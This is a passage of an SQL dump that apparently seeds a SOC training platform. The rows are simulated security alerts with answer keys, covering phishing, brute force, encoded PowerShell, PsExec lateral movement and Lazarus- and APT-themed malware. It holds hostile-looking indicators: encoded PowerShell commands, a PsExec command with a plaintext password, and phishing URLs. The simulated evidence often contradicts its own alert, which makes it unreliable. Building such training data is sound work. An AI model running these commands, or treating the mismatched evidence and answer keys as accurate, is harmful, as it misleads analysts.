UABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAYwBvAG0AbQBhAG4AZAAgAC0AZQBuAGMAbwBkAGUAZABiAHkAdABlAHMAPQAiAFsAMgAsADIANgAsADIAOAAsADMAQgAsADQALAAxADgALAAxADcALAAxADkALAAyADAALAAzADkALAAxADkALAAyADAALAA5ADUALAA5ADUALAA5ADMAIgBdAA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command indicative of malicious activity\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The decoded PowerShell command and the file hash are linked to known APT41 malware, indicating a true positive.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(716, 'Suspicious Login Attempt Detected from Foreign IP', 'medium', 'SIEM', 'Multiple failed login attempts detected from a suspicious IP address. This could indicate a brute force attack targeting user credentials.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"username\":\"asmith\",\"hostname\":\"host-002\",\"failed_attempts\":15}', '2026-01-10 14:22:49', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"asmith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Valid internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The multiple failed login attempts from a known malicious IP address confirm a brute force attack.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.361Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"host-002\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:31:22.361Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"host-002\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:30:22.361Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"host-002\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:29:22.361Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"host-002\\\",\\\"failed_attempts\\\":15}\"},{\"timestamp\":\"2026-02-01T20:28:22.361Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T09:30:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"asmith\\\",\\\"hostname\\\":\\\"host-002\\\",\\\"failed_attempts\\\":15}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(717, 'Phishing Email with Malicious URL Detected', 'high', 'Proofpoint', 'A phishing email was received with a URL designed to harvest credentials. The email mimics a trusted service to lure the user.', 'Phishing', 'T1566', 1, 'Closed', 177, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.20\",\"email_sender\":\"no-reply@trustedservice.com\",\"username\":\"mjane\",\"hostname\":\"host-003\",\"url\":\"http://malicious-site.com/login\"}', '2026-01-09 19:07:59', '2026-02-22 10:25:32', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"IP associated with phishing activity\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@trustedservice.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Email appears to mimic a trusted domain\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL is flagged as a credential harvesting site\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The malicious URL in the phishing email is confirmed to be used for credential harvesting, indicating a true positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with Malicious URL Detected\",\"date\":\"2026-02-01T20:32:22.363Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(718, 'False Positive Alert: Unusual Internal Traffic', 'low', 'Firewall', 'Detected unusual traffic patterns between internal hosts. Further analysis indicates this is benign activity related to scheduled maintenance.', 'Network Traffic Anomaly', 'T1071', 0, 'closed', NULL, '{\"timestamp\":\"2026-01-11T08:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.8\",\"username\":\"n/a\",\"hostname\":\"n/a\",\"request_body\":\"n/a\"}', '2026-01-10 22:11:35', '2026-02-22 14:54:09', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_traffic\",\"analysis_notes\":\"The traffic is consistent with scheduled internal maintenance tasks, confirming a false positive.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(719, 'APT29 Lateral Movement Detected via PsExec', 'critical', 'CrowdStrike', 'A potential APT29 operation has been detected using PsExec to move laterally within the network. Internal IP communication suggests compromised credentials.', 'Lateral Movement', 'T1077', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T03:14:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.21\",\"dst_ip\":\"10.0.0.34\",\"username\":\"jdoe\",\"hostname\":\"FINANCE-01\",\"command_line\":\"PsExec.exe \\\\\\\\10.0.0.34 -u jdoe -p password cmd.exe\"}', '2026-01-10 01:17:50', '2026-02-16 18:05:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.21\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.34\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target internal IP address for lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Legitimate internal user account potentially compromised\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"PsExec.exe \\\\\\\\10.0.0.34 -u jdoe -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"PsExec tool commonly used for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec usage between internal machines indicates possible lateral movement by APT29.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(720, 'Spear-Phishing Email with Malicious URL', 'high', 'Proofpoint', 'An email from a suspicious sender was detected containing a malicious URL likely used for credential harvesting.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:25:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.85\",\"dst_ip\":\"192.168.1.45\",\"username\":\"jane.smith\",\"hostname\":\"LAPTOP-04\",\"email_sender\":\"support@secure-mail.com\",\"url\":\"http://malicious-website.com/login\"}', '2026-01-11 06:08:40', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 12 times for suspicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-website.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL flagged for phishing credential harvest\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"support@secure-mail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain used for spoofing legitimate services\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a known phishing URL attempting to mimic legitimate services.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear-Phishing Email with Malicious URL\",\"date\":\"2026-02-01T20:32:22.366Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(721, 'Encoded PowerShell Command Execution Detected', 'high', 'Wazuh', 'An encoded PowerShell command was detected on a user machine, indicating possible fileless malware activity.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T15:42:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"\",\"username\":\"michael.brown\",\"hostname\":\"DESKTOP-07\",\"command_line\":\"powershell.exe -enc aW1wb3J0LXdpbiBtd2lzO3N0YXJ0LWpvYiB3bWk7\"}', '2026-01-10 07:11:45', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP potentially executing fileless malware\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc aW1wb3J0LXdpbiBtd2lzO3N0YXJ0LWpvYiB3bWk7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded command associated with malware delivery\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands is indicative of fileless malware techniques often used by APT groups.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.367Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:42:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"michael.brown\\\",\\\"hostname\\\":\\\"DESKTOP-07\\\",\\\"command_line\\\":\\\"powershell.exe -enc aW1wb3J0LXdpbiBtd2lzO3N0YXJ0LWpvYiB3bWk7\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.367Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:42:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"michael.brown\\\",\\\"hostname\\\":\\\"DESKTOP-07\\\",\\\"command_line\\\":\\\"powershell.exe -enc aW1wb3J0LXdpbiBtd2lzO3N0YXJ0LWpvYiB3bWk7\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.367Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:42:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"michael.brown\\\",\\\"hostname\\\":\\\"DESKTOP-07\\\",\\\"command_line\\\":\\\"powershell.exe -enc aW1wb3J0LXdpbiBtd2lzO3N0YXJ0LWpvYiB3bWk7\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.367Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:42:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"michael.brown\\\",\\\"hostname\\\":\\\"DESKTOP-07\\\",\\\"command_line\\\":\\\"powershell.exe -enc aW1wb3J0LXdpbiBtd2lzO3N0YXJ0LWpvYiB3bWk7\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.367Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:42:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"michael.brown\\\",\\\"hostname\\\":\\\"DESKTOP-07\\\",\\\"command_line\\\":\\\"powershell.exe -enc aW1wb3J0LXdpbiBtd2lzO3N0YXJ0LWpvYiB3bWk7\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(722, 'False Positive: Anomalous Login Activity', 'medium', 'Splunk', 'Multiple failed login attempts detected from a foreign IP address. Investigation reveals this is a legitimate user traveling.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:05:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"104.28.0.34\",\"dst_ip\":\"10.0.0.12\",\"username\":\"john.doe\",\"hostname\":\"SERVER-02\",\"failed_attempts\":8}', '2026-01-10 00:28:18', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"104.28.0.34\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP not associated with malicious activity, identified as part of legitimate travel\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"User confirmed to be on business trip\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"User was traveling, resulting in login attempts from an unusual location. No malicious intent detected.\"}', 'Advanced', 'SIEM', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.368Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:05:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"104.28.0.34\\\",\\\"dst_ip\\\":\\\"10.0.0.12\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"SERVER-02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-02-01T20:31:22.368Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:05:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"104.28.0.34\\\",\\\"dst_ip\\\":\\\"10.0.0.12\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"SERVER-02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-02-01T20:30:22.368Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:05:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"104.28.0.34\\\",\\\"dst_ip\\\":\\\"10.0.0.12\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"SERVER-02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-02-01T20:29:22.368Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:05:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"104.28.0.34\\\",\\\"dst_ip\\\":\\\"10.0.0.12\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"SERVER-02\\\",\\\"failed_attempts\\\":8}\"},{\"timestamp\":\"2026-02-01T20:28:22.368Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:05:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"104.28.0.34\\\",\\\"dst_ip\\\":\\\"10.0.0.12\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"SERVER-02\\\",\\\"failed_attempts\\\":8}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(723, 'APT41 Spear-Phishing Attack Detected via Malicious Email Link', 'critical', 'Proofpoint', 'A spear-phishing email containing a malicious link was detected targeting a high-level executive. The email was crafted to appear as a legitimate communication from a trusted partner.', 'Phishing', 'T1566', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:15:23Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.112\",\"dst_ip\":\"192.168.1.105\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAPTOP-12\",\"email_sender\":\"ceo@trustedpartner.com\",\"url\":\"http://malicious-link.com/verify\",\"subject\":\"Urgent: Verify Your Account\"}', '2026-01-10 09:08:55', '2026-02-16 18:04:37', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.112\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1024 times for phishing and spam activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/verify\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"ceo@trustedpartner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Spoofed domain detected\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The alert is a true positive as the email contained a malicious link that was confirmed to be part of a phishing campaign.\"}', 'Expert', 'NDR', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"APT41 Spear-Phishing Attack Detected via Malicious Email Link\",\"date\":\"2026-02-01T20:32:22.369Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(724, 'Lazarus Group Fileless Malware Execution Detected', 'high', 'CrowdStrike', 'A fileless malware was executed using PowerShell obfuscation techniques. The execution was traced back to a known Lazarus Group C2 server.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:37:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.47\",\"dst_ip\":\"192.168.1.45\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"command_line\":\"powershell -enc WwBTAFkAUwB0AGUAbQAuAE4AZQBUAC4AVwBlAGIAQwBsAGkAZQBuAHQAXQAuAEQAbwB3AG4AbABvAGEAZABTAHIAdABhAG0AIAA=\",\"file_hash\":\"4c2f5e0b9a3b4f1f8c37a3f9f2a4b1d0\"}', '2026-01-10 02:51:53', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.47\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Associated with Lazarus Group C2 infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -enc WwBTAFkAUwB0AGUAbQAuAE4AZQBUAC4AVwBlAGIAQwBsAGkAZQBuAHQAXQAuAEQAbwB3AG4AbABvAGEAZABTAHIAdABhAG0AIAA=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected obfuscation technique used by APT actors\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"4c2f5e0b9a3b4f1f8c37a3f9f2a4b1d0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash seen in recent fileless malware campaigns\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of PowerShell obfuscation and the link to a known Lazarus C2 server confirms this as a true positive.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 